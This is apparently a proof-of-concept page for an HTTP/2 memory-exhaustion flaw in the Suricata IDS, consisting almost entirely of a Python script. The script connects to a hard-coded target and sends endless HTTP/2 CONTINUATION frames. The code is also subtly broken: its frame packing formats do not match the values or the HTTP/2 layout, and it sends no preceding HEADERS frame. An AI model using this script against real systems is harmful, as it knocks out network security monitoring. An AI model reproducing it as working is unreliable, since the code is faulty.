CVE-2026-31935 Suricata HTTP2内存耗尽漏洞

# PoC for CVE-2026-31935: Suricata HTTP2 Memory Exhaustion # This script sends a flood of HTTP2 CONTINUATION frames. import socket import struct # Target IP and Port (Suricata Inspection Interface) TARGET_IP = "192.168.1.100" TARGET_PORT = 80 def create_http2_continuation_flood(): try: # Establish TCP connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) # Send HTTP/2 Connection Preface (Simplified) preface = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n' s.send(preface) # Send SETTINGS frame (Simplified) settings_frame = struct.pack('>HBBLLLL', 0, 4, 0, 0, 0, 0, 0) s.send(settings_frame) print(f"[*] Flooding {TARGET_IP} with HTTP2 CONTINUATION frames...") # Send malicious CONTINUATION frames payload = b'A' * 1000 while True: # Frame Format: Length(3) | Type(1) | Flags(1) | StreamID(4) # Type 0x9 is CONTINUATION frame_header = struct.pack('>HBBLL', len(payload), 0x9, 0x0, 0x1) s.send(frame_header + payload) except Exception as e: print(f"[!] Error: {e}") finally: s.close() if __name__ == "__main__": create_http2_continuation_flood()